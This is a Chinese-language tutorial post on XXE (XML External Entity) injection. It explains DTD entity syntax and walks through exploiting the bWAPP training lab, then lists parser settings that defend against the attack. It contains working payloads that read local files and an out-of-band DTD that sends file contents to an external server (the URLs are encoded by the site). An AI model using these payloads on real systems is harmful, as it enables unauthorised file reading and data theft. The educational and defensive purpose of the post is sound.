-
-
[原创]xxe原理解析
-
发表于: 2023-5-9 16:20 5751
-
一:XML格式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | <?xml version = "1.0" encoding = "utf-8" ?> xml声明 <!DOCTYPE copyright [ DTD定义 <!ELEMENT note (to,reset,login,secret)> 定义元素 <!ENTITY test SYSTEM "file:///c://test.txt" > 定义外部实体 <!ENTITY test2 "test2" > 定义内部实体 <! * * * ITY % test3 "test3" > 定义参数实体 <!ENTITY % test4 "file:///c://test.txt" > 定义参数实体 % test3; % test4; ] > <to> <reset> <login>&test;< / login> <secret>&test2;< / secret> < / reset> < / to> |
参数实体是在DTD中引用,而其余实体在XML中引用;且实体定义中不能引用参数实体
二:XXE漏洞原因
XXE漏洞全称XML External Entity Injection,即XML外部实体注入漏洞。引用程序在解析XML时,如果没有禁止外部实体的加载,理论上可以加载外部文件(操作系统层面的文件),可以造成文件读取,命令执行,内网端口扫描等。以bwapp的xxe为例
1.等级为low,点击any bugs 抓包
注意这里接受的是XML数据,所以我们可以自己尝试构建实体,如果后台没有合理的解析参数,就有可以造成XXE漏洞。修改的内容,知道这里解析login参数并回显
新建外部实体并引用
读取sojrs.txt文件并返回了信息
2.等级为medium,抓包
尝试xxe回显,但是数据无回显
到这里不一定没有XXE漏洞,仍然要测试是否禁用了外部实体,修改DTD,访问外部站点观察访问记录
访问记录存在,XXE漏洞存在,可利用带外通道获取数据,构造DTD如下
1 2 3 4 5 6 7 | <?xml version = "1.0" encoding = "UTF-8" ?> <!DOCTYPE aa [ <!ENTITY % test SYSTEM "b67K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4W2G2N6i4u0Q4x3X3g2%4k6h3u0Q4x3X3g2K6k6i4u0$3k6i4u0Q4x3V1k6@1k6i4y4@1" > % test; % all ; ]> <reset><login>aaa< / login><secret>&info;< / secret>< / reset> |
在web服务器上新建文件test,里面内容如下
1 2 | <!ENTITY % file SYSTEM "file:///c://sojrs.txt" > <!ENTITY % all "<!ENTITY info SYSTEM '9bdK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4W2G2N6i4u0Q4x3X3g2%4k6h3u0Q4x3X3g2K6k6i4u0$3k6i4u0Q4x3V1k6A6L8X3c8W2P5q4)9J5k6h3S2@1L8h3I4Q4x3@1k6D9L8$3N6Q4x3@1c8Q4x3U0g2X3K9h3I4W2i4K6y4n7i4K6t1%4i4K6t1$3k6%4c8Q4x3@1t1`." > |
请求url中带了sojrs.txt中的内容为sojrs,xxe带外通过成功获取到数据。这里要注意<!ENTITY % test SYSTEM “a6dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4W2G2N6i4u0Q4x3X3g2%4k6h3u0Q4x3X3g2K6k6i4u0$3k6i4u0Q4x3V1k6@1k6i4y4@1">的作用是引入在外部服务器上的实体,因为在本地的解释器中有可能不允许使用外部连接,即实体定义中不允许参数实体。
3.在等级为高的情况下,利用上面的带外通道依然能够成功
三:防御方法
1.禁用外部实体
在php中,引用外部实体和libxml库有关系
libxml > 2.9 默认不解析外部实体
php:libxml_disable_entity_loader(true);
java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.过滤用户提交的xml数据,如DOCTYPE;SYSTEM等
四:参考文档
44aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8Y4f1H3x3e0p5%4x3U0p5#2x3o6q4Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3k6r3g2@1j5h3W2D9M7#2)9J5c8U0b7K6y4K6M7#2y4U0V1I4i4K6t1K6j5$3!0E0L8h3g2F1N6p5u0G2P5l9`.`.
f8eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6@1K9r3W2W2k6W2)9J5k6h3!0F1k6g2)9J5c8U0t1H3x3e0N6Q4x3V1j5H3y4W2)9J5c8U0t1H3i4K6u0r3x3g2)9J5c8R3`.`.
赞赏
- [原创]XSS跨站脚本攻击剖析与防御 967
- [原创]报错注入的原理分析 2044
- [原创]基于时间的盲注 2316
- [原创]文件上传漏洞攻击与防范方法 1185
- 界面劫持之触屏劫持 888